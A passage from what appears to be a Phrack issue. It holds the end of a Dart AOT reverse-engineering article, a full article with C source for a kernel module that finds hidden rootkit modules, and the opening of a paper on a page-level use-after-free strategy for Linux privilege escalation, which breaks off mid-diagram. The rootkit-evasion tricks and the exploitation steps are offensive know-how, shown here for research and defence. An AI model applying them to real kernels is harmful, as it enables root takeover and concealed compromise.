mov rbx, qword [r14 + 0x68]

mov r10d, 6

call fcn.0007e968

mov qword [var_8h], rax

mov r11d, 0x8c

mov qword [rax + 0x17], r11

mov r11d, 0x8e

‑‑ 7.3 ‑ Retrieving function names in more complex situations

There are currently 3 workarounds:

1. JEB Pro Disassembler [10]. It is able to read the Object Pool and retrieve function names in most situations. However, the tool is not free and a license must be purchased.

2. reFlutter [11]. This open source tool patches the Flutter library to dump function name offsets when it runs into them. The drawback with this tool is that (1) it only works with Flutter applications, not plain Dart snapshots, (2) the application needs to be recompiled with the patched library, and (3) it is a dynamic analysis approach, meaning reFlutter actually runs the application and only dumps parts it gets into.

3. Blutter [8] is an other open source tool we have already mentioned. It dumps assembly code with function names and their corresponding offset. The tool currently only supports Android Flutter applications generated for Aarch64.

For example, I have created a basic application with a basic widget implementing the Caesar algorithm. The application has a class MyApp, with a constructor and 2 methods: build(), which creates the widget, and work() which performs Caesar encryption/decryption. I compiled the application for Android Aarch64 and used Blutter on it:

// class id: 1442, size: 0xc, field offset: 0xc

// const constructor,

class MyApp extends StatelessWidget {

_ build(/* No info */) {

// ** addr: 0x221aec, size: 0x120

// 0x221aec: EnterFrame

// 0x221aec: stp fp, lr, [SP, #‑0x10]!

// 0x221af0: mov fp, SP

// 0x221af4: AllocStack(0x28)

// 0x221af4: sub SP, SP, #0x28

// 0x221af8: CheckStackOverflow

// 0x221af8: ldr x16, [THR, #0x38] ; THR::stack_limit

...

_ work(/* No info */) {

// ** addr: 0x221c24, size: 0x288

// 0x221c24: EnterFrame

...

The dumped assembly shows:

‑ The address of build(): 0x221aec

‑ The address of xor_stage3(): 0x221c24

‑ And the instructions for both methods.

The instructions are annotated with the function name or the pool object when the case applies, making the assembly easier to understand. For example, see how Blutter shows the string "Welcome to Caesar encryption":

// 0x221c78: r16 = "Welcome to Caesar encryption"

// 0x221c78: ldr x16, [PP, #0x6e40] ; [pp+0x6e40] "Welcome to Caesar encryption"

// 0x221c7c: str x16, [SP]

// 0x221c80: r0 = printToConsole()

// 0x221c80: bl #0x159df4 ; [dart:_internal] ::printToConsole

Finally, remember that earlier we noticed the x86‑64 assembly was passing a null object, via THR + 0x68, as an argument to the constructor of the Random class. In Blutter, we see the assembly for Aarch64 is different. It doesn't use the THR register for that and explicitly passes NULL:

// 0x221cac: str NULL, [SP]

// 0x221cb0: r0 = Random()

// 0x221cb0: bl #0x206268 ; [dart:math] Random::Random

Overall, the different annotations of Blutter make assembly easier to read, and it would be helpful to have them for other platforms and integrate the same features in disassemblers.

‑‑ 8 ‑ Conclusion and perspectives

With this article, you should be able to understand the format of Dart AOT snapshots, and grasp the complexity of parsing the Object Pool or de‑serialize any cluster.

We have explained the use of the dedicated THR and PP registers. You are able to understand the assembly of function prologues, how strings or any other object of the object pool is loaded, and how lists of integers are represented.

We have also provided tricks and tools to parse the Object Pool and recover function names, even in the case of stripped snapshots.

Major disassemblers are likely to add support for Dart in the next few months or years. However, this is really only viable if the Dart SDK becomes stable enough for such work to be worth it. Meanwhile, we seem better off integrating strategies, such as Blutter, which recompile tools from the Dart SDK.

‑‑ References

[1] https://dart.dev/tools/dart‑compile#types‑of‑output

[2] https://flutter.dev

[3] https://www.radare.org/

[4] https://en.wikipedia.org/wiki/X86_calling_conventions#x86‑64_calling_conventions

[5] https://github.com/cryptax/misc‑code/blob/master/flutter/flutter‑header.py

[6] https://github.com/mildsunrise/darter

[7] https://github.com/rscloura/Doldrums

[8] https://github.com/worawit/blutter

[9] https://github.com/cryptax/misc‑code/blob/master/flutter/dart‑bytes.py

[10] https://pnfsoftware.com

[11] https://github.com/Impact‑I/reFlutter

Finding hidden kernel modules (extrem way reborn)

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x0C of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑[ Finding hidden kernel modules (extrem way reborn): 20 years later ]‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ g1inko <g1inko at hotmail com> ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 intro

1 Some words on LKM‑rootkits

2 On existing tools

2.1 Some words on the original module_hunter

2.2 rkspotter and __module_address() problem

2.3 Other challenges in adopting _that_ extrem way

3 The rebirth

3.1 Detecting a stray struct module

3.2 On virtual memory of x86_64 architecture

3.3 Paging levels while solving the 'problem of unmapped'

4 Other architectures and outro

5 References

6 The code

0 intro

=======

Several years ago, while trying to get a grasp on Linux kernel rootkits, I came across an old Phrack Linenoise article [1] that discussed an interesting way of finding them. It totally caught my attention, even though it was so mysterious and far beyond my knowledge and experience back then.

It took me some time to fill in the gaps in my knowledge. Eventually I realized I was ready to reimplement the idea of finding hidden kernel modules in memory for modern kernels and x86_64 machines. Now, 20 years after the original publication, I am somewhat proud to finally share the rebirth of this technique, with all the honors to madsys for inspiration.

1 Some words on LKM‑rootkits

============================

Since the first publication (known to me, at least) about Linux kernel rootkits in Phrack in April 1997 [2], and right up to this day, malicious loadable kernel modules (LKM‑rootkits) all tend to use the same self‑ hiding technique, namely unlinking themselves from the in‑kernel linked list of loaded modules. This prevents the module from showing up in procfs and lsmod, and rmmod is unable to find and unload such modules.

Some rootkits also try to mess with the memory afterwards, to make forensics even harder. For example, since version 2.5.71, Linux poisons stale list pointers of the unlinked struct by setting them to LIST_POISON1 and LIST_POISON2 (0x00100100 and 0x00200200). This is used to help detect memory bugs.

Some anti‑rootkits use this to detect unlinked LKM descriptors, thus detecting a kernel rootkit. However, a rootkit can overwrite these values after unlinking and evade this check. For instance, the KoviD LKM that appeared in 2022 [3] does this.

Also, despite the fact that LKM rootkits do unlink themselves from the modules list, they still can be listed via sysfs in /sys/modules. This is even mentioned in the Volatility documentation [4] and is an established method for detecting such rootkits. Although Volatility developers claim to never have faced a rootkit that would also remove itself from sysfs, KoviD rootkit does it as well.

For that, KoviD uses sysfs_remove_file() helper, and sets its state to MODULE_STATE_UNFORMED. This state is for cases when a module is still setting up, and the kernel module loader is still running. This trick helps to evade anti‑rootkits that rely on the kernel __module_address() function when enumerating virtual memory, such as rkspotter [5].

2 On existing tools

===================

2.1 Notes on the original module_hunter

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The original implementation was created during the time of Linux 2.2‑2.4 for i386 machines. Now it is Linux ~6.8 and lots of x86_64 systems around. So many things have changed or removed, and new features were introduced. The kernel is known to have highly unstable internal API, no surprise that the 20‑years‑old module_hunter.c wouldn't build anymore. By understanding how it works, it turns out to be possible to reimplement the technique for a modern kernel.

In short, the logic for finding a malicious LKM was to go through the memory region that contained module structs, and dump the info if it contained anything that looked like a sane struct module. At the time, this struct had way less fields than it does today, as it has been heavily reworked and extended over the years.

For example, there is no more 'size' field, but many others were added. It is interesting that module's name at that time was stored using a pointer, while nowadays it is a static array of chars right within the struct module.

2.2 rkspotter and __module_address() problem

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

While looking for a way to look for safe memory addresses via brute force, I found the aforementioned anti‑rootkit named rkspotter. It detects several hiding techniques which allows it to find rootkits even if one the methods fail, but it relies on the __module_address() function in the kernel.

This function was unexported in 2020 during a series of kernel patches [6], and became unavailable out‑of‑kernel since Linux 5.4.118. This means that we must avoid using it as well.

The core idea of rkspotter is to go through the so‑called module mapping space, and check which address belongs to which module using __module_address(). According to the doc, it lets one 'get the module which contains an address'.

For a given address, __module_address() returns a struct module pointer of a corresponding LKM. This function was a convenient way to get module info, all the work for dereferencing page tables and checking for physical page presence was done internally.

Well yes, I know that I could try to copycat this __module_address() in the module's code, but what I wanted to copycat was module_hunter by madsys, so forget it :D

2.3 Other challenges in adopting _that_ extrem way

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Based on what has been changed over the years, we will need to solve a few problems to implement a newer tool (or rather a PoC?) for finding stray LKM descriptors. Problems like:

‑ Fix broken kernel API. As the code of module_hunter is actually very small, and the only API used was for procfs, it didn't take long to find a way to export a proc file to communicate with the kernel module.

‑ Choose new fields of struct module that are the most appropriate for detecting a stray struct.

‑ Memory management on x86_64 differs from that of i386, so the code that checks for the page's presence needs to be fully reimplemented, more on that below.

‑ Kernel virtual memory layout on x86_64 is also totally different from that of i386. For instance, the kernel part of virtual memory space on x86_64 is very huge compared to vmalloc area of its 32‑bit predecessor, where struct modules were allocated back then (that is, 128 TB vs. 128 MB).

Since the modules region is way larger on x86_64, more checks are needed to eliminate false positives on garbage remnants in memory.

With enough time and persistence, we at least get repaid with new cool knowledge, so let's go!

3 The rebirth

=============

3.1 Detecting a stray struct module

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After playing with existing struct module fields I decided to introduce more checks on memory contents, beyond just checking for the validity of a module's name. That alone showed to be insufficient for x86_64 modules memory area‑‑more on this in 3.2), such as:

‑ The state field has one of the sane values: MODULE_STATE_LIVE, MODULE_STATE_COMING, MODULE_STATE_GOING, MODULE_STATE_UNFORMED;

‑ The init and exit fields either point into the module mapping space of x86_64 or are NULL;

‑ At least one of init, exit, next and prev fields is not NULL and point to either module mapping area or are canonical (e.g. list pointers);

‑ core_layout.size is not 0, but equals to 0 modulo PAGE_SIZE.

This list may vary in future, especially if i catch some more sophisticated LKM. The check may become more flexible, but it works as PoC quite well.

3.2 On virtual memory of x86_64 architecture

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now that we've determined fields of interest, we need to know where to start and finish testing for struct module similarity. Otherwise it would be quite tough to bruteforce the whole almost‑64‑bit virtual address space.

In the virtual memory layout of modern x86_64 Linux, there is a dedicated module mapping space [7], with size of 1520 MB, for both 48‑ and 57‑bit virtual addresses. The start address is designated with a macro MODULES_VADDR and the end address is represented by a MODULES_END macro.

After some more playing, I found out that module mapping space is where both module binaries, and their descriptors get allocated. This is just fine, as going through many terabytes of the vast virtual address space was my biggest concern in terms of execution time.

3.3 Paging levels while solving the 'problem of unmapped'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NOTE: If you're not quite familiar with paging mechanism, refer to e.g. the OSDev wiki [8] or Linux documentation [9] (or processor's).

Well, now we are a facing the same problem as the one noted in the original paper:

``By far, maybe you think: umm, it's very easy to use brute force to list those evil modules". But it is not true because of an important reason: it is possible that the address which you are accessing is unmapped, thus it can cause a paging fault and the kernel would report: "Unable to handle kernel paging request at virtual address". ''

This would be resolved automatically when using __module_address(), but we cannot afford it, so we need to check for page presence ourselves. To do that, we need to go through tables that contain info about relations of virtual and physical pages for a process. The kernel space part is the same for each process because it maps to the same physical pages.

For supporting more physical memory, more page table levels were added in 64‑bit x86, and now it can be 4 or 5 of them depending on both hardware and kernel support. For each paging level, the PDE/PTE being dereferenced must be checked for presence in RAM by using one of the following macros:

‑ pgd_present();

‑ p4d_present() (if 5‑level paging is used or emulated);

‑ pud_present();

‑ pmd_present();

‑ pte_present().

Without getting too deep into the MMU guts, the check for the top level, using currently available kernel macros and functions would look like this:

‑‑‑‑snip‑‑‑‑

struct mm_struct *mm = current‑>mm;

‑‑‑‑snip‑‑‑‑

pgd = pgd_offset(mm, addr);

if (!pgd || pgd_none(*pgd) || !pgd_present(*pgd) ) return false;

‑‑‑‑snip‑‑‑‑

You may find this check a bit paranoid and, especially looking at similar in‑kernel functions, maybe it's okay to remove pgd_none(). When I'm writing kernel C for a subsystem I am not quite familiar with, I feel much better safe than sorry :D

There was a function called kern_addr_valid() performing similar checks, but it was removed from the kernel a year ago [10]. dump_pagetable(), spurious_kernel_fault(), mm_find_pmd() and some others also do that.

As for the varying number of paging levels, we could find out the proper number with ether CONFIG_PGTABLE_LEVELS or CONFIG_X86_5LEVEL. The first one seems better if I (or anyone else) decide to port it to some other architecture.

Support for 5‑level paging was introduced in 2017 with versions 4.11‑4.12 [11, 12]. Interestingly, with CONFIG_PGTABLE_LEVELS=5 the kernel wouldn't break on 4‑level hardware [13]:

``In this case additional page table level ‑ p4d ‑ will be folded at runtime.''

4 Other architectures and outro

===============================

The only thing that prevents us from getting the code to work on architectures other than x86_64 is (obviously) architecture‑dependent stuff. Virtual address spaces of other architectures (i.e. AArch64) is different, not only in its layout and size, but also in the possible number of paging levels. This may vary from 2 to 4, depending on the page size and virtual addresses bits [14].

Notably, the code did compile for AArch64 running the 6.1.21 kernel, until I added a check for CONFIG_X86_64. Due to memory management differences, it of course did not report anything found.

As for kernel versions compatibility, I've tested the code on 4.4, 5.14, 5.15 and 6.5 x86_64 kernels. It still may fail on some intermediate or newer versions, most likely somewhere in the page table dereferencing code. Feel free to let me know if that happens.

Once all the hardware incompatibility issues are properly taken into account, I believe it's possible to run the tool on other architectures as well. Hopefully I can add support for at least AArch64 once I'm ready to dive into its memory management. PRs and suggestions (see [15]) are also welcome! :^)

5 References

============

1. http://phrack.org/issues/61/3.html#article

2. http://phrack.org/archives/issues/50/5.txt

3. https://github.com/carloslack/KoviD

4. https://github.com/volatilityfoundation/volatility/wiki/Linux‑Command‑

Reference#linux_check_modules

5. https://github.com/linuxthor/rkspotter

6. https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog‑5.4.118

7. https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt

8. https://wiki.osdev.org/Paging

9. https://www.kernel.org/doc/html/v6.5/mm/page_tables.html

10. https://lore.kernel.org/lkml/Y05fQrd4TYaOnks%2F@infradead.org/

11. https://github.com/torvalds/linux/commit/b8504058a06bd19286c8b59539eebfda69d1ecb5

12. https://lwn.net/Articles/716324/

13. https://www.kernel.org/doc/html/v5.9/x86/x86_64/5level‑paging.html#enabling‑5‑level‑paging

14. https://www.kernel.org/doc/html/v6.5/arch/arm64/memory.html

15. https://github.com/ksen‑lin/nitara2

6 The code (cleared a bit for the paper)

========================================

‑‑‑‑‑BEGIN NITARA2.C‑‑‑‑‑

/*

* original idea: madsys, "Finding hidden kernel modules (the extrem way)" * http://phrack.org/issues/61/3.html

*

* usage: cat /proc/nitara2 && dmesg

*/

#include <asm/page.h>

#include <asm/fixmap.h>

#include <linux/errno.h>

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/proc_fs.h>

#include <linux/version.h>

#if LINUX_VERSION_CODE >= KERNEL_VERSION(6, 5, 0)

# include <linux/mm.h>

#elif LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)

# include <linux/pgtable.h>

#elif LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)

# include <asm‑generic/pgtable‑nop4d.h>

#else /* < 4.11 */

# include <asm/pgtable.h>

#endif

#include <linux/string.h>

#include <linux/sched.h>

#include <linux/types.h>

#include <linux/unistd.h>

#include <uapi/linux/stat.h>

#ifndef CONFIG_X86_64

# error "arch not supported :("

#endif

#define NITARA_PRINTK(fmt, args...) \

printk("%s: " fmt, module_name(THIS_MODULE), ##args) #define NITARA_MODSIZE (0x1000 * PAGE_SIZE)

#ifndef sizeof_field

#define sizeof_field(TYPE, MEMBER) sizeof((((TYPE *)0)‑>MEMBER)) #endif

/* NOTE: arch‑specific, we don't handle it yet */

#ifndef __canonical_address

static __always_inline u64 __canonical_address(u64 vaddr, u8 vaddr_bits) {

return ((s64)vaddr << (64 ‑ vaddr_bits)) >> (64 ‑ vaddr_bits); }

#endif

#ifndef __is_canonical_address

static __always_inline u64 __is_canonical_address(u64 vaddr, u8 vaddr_bits) {

return __canonical_address(vaddr, vaddr_bits) == vaddr;

}

#endif

#define is_canonical_48(p) __is_canonical_address((unsigned long)p, 48) #define is_canonical_or_zero(p) (p == NULL || is_canonical_48(p)) #define is_canonical_high_or_zero(p) \

(p == NULL || ((unsigned long)p >= VMALLOC_START && is_canonical_48(p)))

#if LINUX_VERSION_CODE >= KERNEL_VERSION(6, 4, 0)

#define MODSIZE(p) \

(p‑>mem[MOD_TEXT].size \

+ p‑>mem[MOD_INIT_TEXT].size \

+ p‑>mem[MOD_INIT_DATA].size \

+ p‑>mem[MOD_INIT_RODATA].size \

+ p‑>mem[MOD_RO_AFTER_INIT].size \

+ p‑>mem[MOD_RODATA].size \

+ p‑>mem[MOD_DATA].size)

#else

# define MODSIZE(p) (p‑>core_layout.size)

#endif

/*

* https://stackoverflow.com/questions/11134813/

* https://stackoverflow.com/questions/66593710/

* https://lwn.net/Articles/716324/

*/

static bool valid_addr(unsigned long addr, size_t size)

{

pgd_t *pgd;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)

p4d_t *p4d;

#endif

pmd_t *pmd;

pud_t *pud;

pte_t *pte;

struct mm_struct *mm = current‑>mm;

unsigned long end_addr;

pgd = pgd_offset(mm, addr);

if (unlikely(!pgd) || unlikely(pgd_none(*pgd)) || unlikely(!pgd_present(*pgd)) ) return false;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)

p4d = p4d_offset(pgd, addr);

if (unlikely(!p4d) || unlikely(p4d_none(*p4d)) || unlikely(!p4d_present(*p4d)) ) return false;

pud = pud_offset(p4d, addr);

#else

pud = pud_offset(pgd, addr);

#endif

if (unlikely(!pud) || unlikely(pud_none(*pud)) || unlikely(!pud_present(*pud))) return false;

pmd = pmd_offset(pud, addr);

if (unlikely(!pmd) || unlikely(pmd_none(*pmd)) || unlikely(!pmd_present(*pmd))) return false;

if (pmd_trans_huge(*pmd)) {

end_addr = (((addr >> PMD_SHIFT) + 1) << PMD_SHIFT) ‑ 1; goto end;

}

// NOTE: pte_offset_map() is unusable out‑of‑tree on >=6.5.

// As pte_offset_kernel() seems to work, use it instead :D

pte = pte_offset_kernel(pmd, addr);

if (unlikely(!pte) || unlikely(!pte_present(*pte))) return false;

end_addr = (((addr >> PAGE_SHIFT) + 1) << PAGE_SHIFT) ‑ 1;

end:

if (end_addr >= addr + size ‑ 1)

return true;

return valid_addr(end_addr + 1, size ‑ (end_addr ‑ addr + 1)); }

static bool is_within_modules(void *p)

{

return (unsigned long)p >= MODULES_VADDR && (unsigned long)p < MODULES_END; }

__maybe_unused static bool is_within_modules_or_zero(void *p)

{

return p == NULL || is_within_modules(p);

}

static bool check_name_valid(char *s)

{

size_t i;

if (!s)

return false;

for (i = 0; i < sizeof_field(struct module, name); i += 1) { /* we might fail here if the name is "" */

if (s[i] == '\0' && i != 0)

break;

if (s[i] < 0x20 || s[i] > 0x7e)

return false;

}

return true;

}

ssize_t showmodule_read(

struct file *unused_file,

char *buffer, size_t len,

loff_t *off

) {

struct module *p;

unsigned long i;

NITARA_PRINTK("address module size\n"); for (

i = 0, p = (struct module *)MODULES_VADDR;

p <= (struct module*)(MODULES_END ‑ 0x10);

p = ((struct module*)((unsigned long)p + 0x10)), i += 1 ) {

if (

valid_addr((unsigned long)p, sizeof(struct module)) && p‑>state >= MODULE_STATE_LIVE

&& p‑>state <= MODULE_STATE_UNFORMED

&& check_name_valid(p‑>name)

// may be unset for modules that can also be compiled in‑kernel

&& is_within_modules_or_zero(p‑>init)

&& is_within_modules_or_zero(p‑>exit)

&& (p‑>init || p‑>exit || p‑>list.next || p‑>list.prev) // https://elixir.bootlin.com/linux/v5.19/source/include/linux/list.h#L146

&& (is_canonical_high_or_zero(p‑>list.next) || p‑>list.next == LIST_POISON1) && (is_canonical_high_or_zero(p‑>list.prev) || p‑>list.prev == LIST_POISON2) && MODSIZE(p) && (MODSIZE(p) % PAGE_SIZE == 0) ) {

NITARA_PRINTK("0x%lx: %20s %u\n", (unsigned long)p, p‑>name, MODSIZE(p)); }

}

NITARA_PRINTK("end check (total gone %lu steps)\n", i); return 0;

}

#if LINUX_VERSION_CODE > KERNEL_VERSION(5, 5, 19)

static struct proc_ops nitara2_ops = {

.proc_read = showmodule_read,

.proc_lseek = default_llseek, // otherwise segfaults

};

#else

// include/linux/fs.h#L1692

static struct file_operations nitara2_ops = {

.read = showmodule_read,

.llseek = default_llseek,

};

#endif

struct proc_dir_entry *entry;

int init_module()

{

NITARA_PRINTK("[creating proc entry]\n");

entry = proc_create_data("nitara2", S_IRUSR, NULL, &nitara2_ops, NULL); return 0;

}

void cleanup_module()

{

NITARA_PRINTK("[cleanup proc]\n");

proc_remove(entry);

}

MODULE_LICENSE("GPL");

MODULE_AUTHOR("ksen‑lin <g1inko<at>hotmail[.]com>");

‑‑‑‑‑END NITARA2.C‑‑‑‑‑

A novel page-UAF exploit strategy

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x0D of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ A novel page‑UAF exploit strategy for ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ privilege escalation in Linux systems. ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑=[ Jinmeng Zhou, Jiayi Hu, Wenbo Shen, Zhiyun Qian ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 ‑ Introduction

1 ‑ Exploitation background

1.0 ‑ Object‑level UAF

1.1 ‑ Previous page‑level UAF in cross‑cache attacks

2 ‑ General idea

3 ‑ Page‑UAF exploitation steps

3.0 ‑ Page‑level UAF construction

3.1 ‑ Critical object corruption through page‑level UAF

4 ‑ Evaluation results

‑‑ 4.0 ‑ Bridge objects

‑‑ 4.1 ‑ Real‑World Exploitation Experiments

‑‑ 4.2 ‑ Comparison of our page‑UAF with previous methods

5 ‑ References

‑‑ 0 ‑ Introduction

Many critical heap objects are allocated in dedicated slab caches in the Linux kernel. Corrupting such objects requires unreliable cross‑cache corruption methods [1][2][3][4], due to the unstable page‑level fengshui. To overcome this, we propose a novel page‑UAF‑based exploit strategy to overwrite critical heap objects located in dedicated slab caches.

This method can achieve local privilege escalation without requiring any pre‑existing infoleak primitive (i.e., no need to bypass KASLR); it can help derive the infoleak primitive and arbitrary write primitive.

We developed 8 end‑to‑end exploits (https://github.com/Lotuhu/Page‑UAF)

by using our page‑UAF technique.

‑‑ 1 ‑ Exploitation background

‑‑ 1.0 ‑ Object‑level UAF

The standard exploitation of object‑level UAF leverages the invalid use of a freed heap object (vulnerable object) via a dangling pointer. This use can corrupt another object (target object) that takes the place of the freed slot. For instance, to hijack control flow, we can corrupt a function pointer within the target objects using the target value obtained from a pre‑existing information leakage primitive. The object‑level UAF exploitation requires the target object to reuse the freed slot (previously the vulnerable object). Thus, the vulnerable object and the target object must be allocated in the same slab cache (typically in standard caches, e.g., kmalloc‑192) and require object‑level heap fengshui to manipulate the memory layout. Dirtycred utilizes a critical‑object‑UAF to achieve privilege escalation, using cred and file objects [4].

‑‑ 1.1 ‑ Previous page‑level heap fengshui in cross‑cache attacks

Nowadays, many critical target objects are allocated in the dedicated caches (e.g., cred), rendering simple object‑level heap fengshui ineffective. To corrupt these objects, we have to launch cross‑cache attacks that usually rely on page‑level heap fengshui [1][2][6]. The page‑level heap fengshui of OOB and UAF are different.

For OOB bugs, typically, an attacker would trigger overflows onto a subsequent page [1][2]. For instance, after saturating a page (referred to as "page 1") with many vulnerable objects, the attacker can allocate target objects to make the slab cache request the following page (referred to as "page 2"). Consequently, the last vulnerable object on page 1 becomes adjacent to the first target object on page 2, facilitating overflow from the former to the latter. We can't make sure that the vulnerable object is the last object on page 1 due to protections such as CONFIG_SLAB_FREELIST_RANDOM. This page‑level heap fengshui requires the manipulation of page allocation in the buddy system, making the exploits more unstable.

For UAF bugs, a common strategy is to convert an object‑level UAF into a page‑level UAF. Specifically, the idea is to release many vulnerable objects (one or more of which are freed illegally with dangling pointers) to force the entire page to be freed. After that, allocate many target objects so that the same page will be repurposed for the objects' dedicated slab cache. Finally, the dangling pointer can be used to overwrite the target object in another cache by page‑level UAF.

‑‑ 2 ‑ General idea

Our idea is to induce page‑level UAF by causing the free() of specialized objects (we term them "bridge objects") that correspond to memory pages. A bridge object is of a type that contains a pointer to the struct page and is located in standard slab caches. Among others, struct pipe_buffer is such an example with a field named page (and located in kmalloc‑192). We list the code snippet below:

struct pipe_buffer {

struct page *page;

unsigned int offset, len;

const struct pipe_buf_operations ops;

unsigned int flags;

unsigned long private;

};

Freeing such bridge objects will automatically cause the corresponding 4KB page to be freed, effectively leading to a page‑level UAF primitive. This is because an object of type struct page (which by itself is 64 bytes in recent Linux kernels) is used to manage a 4KB physical page in the kernel. Through such a bridge object, an attacker can read/write the entire 4KB memory, which can be reclaimed for other objects (including those stored in dedicated slab caches, e.g., struct cred). This is because the freed pages can be returned to the buddy allocator for future slab allocations. Finally, attackers can overwrite the critical objects in such slabs to achieve privilege escalation (e.g., setting the uid in cred to 0).

A prior work [3] also attempted to corrupt a page pointer (in pipe_buffer) to construct page‑UAF and achieve privilege escalation. Our technique further defines and generalizes such a page‑UAF technique. We will discuss more differences in detail in Section 4.2, after introducing our exploit technique.

‑‑ 3 ‑ Exploitation steps

The page‑UAF exploit strategy consists of two main steps: page‑level UAF construction and critical object corruption, as discussed in the following.

‑‑ 3.0 ‑ Page‑level UAF (Use After Free) construction.

Starting from a memory corruption bug that provides an invalid write of memory, e.g., OOB, UAF, or double free, we can first spray multiple bridge objects (at least two) that co‑locate with the vulnerable object.

Specifically, for bugs with standard OOB or UAF write primitives, we can use the write primitive to corrupt the page pointer field in a bridge object (e.g., the first field of pipe_buffer) such that it points to another 64‑byte page object nearby. This effectively causes two pointers to point to the same object. A user‑space program can trigger free_pages() on one of the objects (e.g., by calling close()), which will create a dangling pointer to the freed page object and the corresponding physical page. In other words, we can read/write the corresponding physical page that is now considered freed by the OS kernel. For example, one can write to a pipe, which will lead to a write of the physical page via the pipe_buffer object.

For bugs that have double‑free primitives, which can often be achieved from UAF by triggering the free() operation twice, we do the following. For the first free, we spray a harmless object (e.g., msg_msg) to take the freed slot. The object should take attacker‑controlled values from the user space. Then, we trigger the kernel code to write the harmless object until reaching a certain offset, using the FUSE technique[1] to stop the writing right before a planned offset ‑ corresponding to the page pointer field of a planned bridge object. Now, we trigger the free for a second time to spray the planned bridge object to take the slot.

The writing process is restarted to continue overwriting the lower bits of the page pointer field, which leads to a page UAF. Previously, to trigger page‑level frees from double frees, one had to release an entire slab and then do a cross‑cache technique [1][2], whereas no such requirement is needed in our exploit method.

For a standard OOB and UAF bug, we use the following figures to demonstrate the memory layout better in various exploitation steps. To start, we have at least two bridge objects (pipe_buffer1 and pipe_buffer2) that contain a field of type struct page. The pointers point to two adjacent page objects that correspond to two continuous 4KB physical pages. Below is the memory layout before triggering the OOB/UAF corruption:

page * page *

‑‑‑‑‑‑‑‑‑‑[‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑][‑‑‑+

[ * | pipe_buffer1 ][ * | pipe_buffer2 ]

slab cache[ * | ][ * |

[ * | ][ * |

‑‑‑‑‑‑‑‑‑‑[‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑][‑+‑+

| |

+‑‑‑‑‑‑‑‑‑+ |

| |

v v

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[‑‑‑‑‑‑‑‑‑][‑‑‑‑‑‑‑

[ page1 ][ page2 ]

page pool [ ][ ]

[ ][

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[‑‑‑‑+‑‑‑‑][‑‑‑‑+‑‑

| |

| +‑‑

|

v v

‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑

physical | 4KB page1 | 4KB page2 |

page | |

| |

‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑

Now, we corrupt the page pointer within pipe_buffer1 to cause it to point to page2 ‑ this can be achieved by overwriting the lower bits of the pointer field, similar to what DirtyCred requires [4]. This makes the pointers in both pipe_buffer1 and pipe_buffer2 point to the same page object (as shown below). At this point, we can release the page2 object (along with its corresponding 4KB physical page) through the pointer in pipe_buffer1. As a result, the page pointer within pipe_buffer2 becomes a dangling pointer pointing to the freed page. The memory layout after triggering corruption is shown in the figure below:

page * page * (dangling pointer)

‑‑‑‑‑‑‑‑‑‑[‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑][‑‑‑+

[ * | pipe_buffer1 ][ * | pipe_buffer2 ]

slab cache[ * | ][ * |

[ * | ][ * |

‑‑‑‑‑‑‑‑‑‑[‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑][‑+‑+

| release |

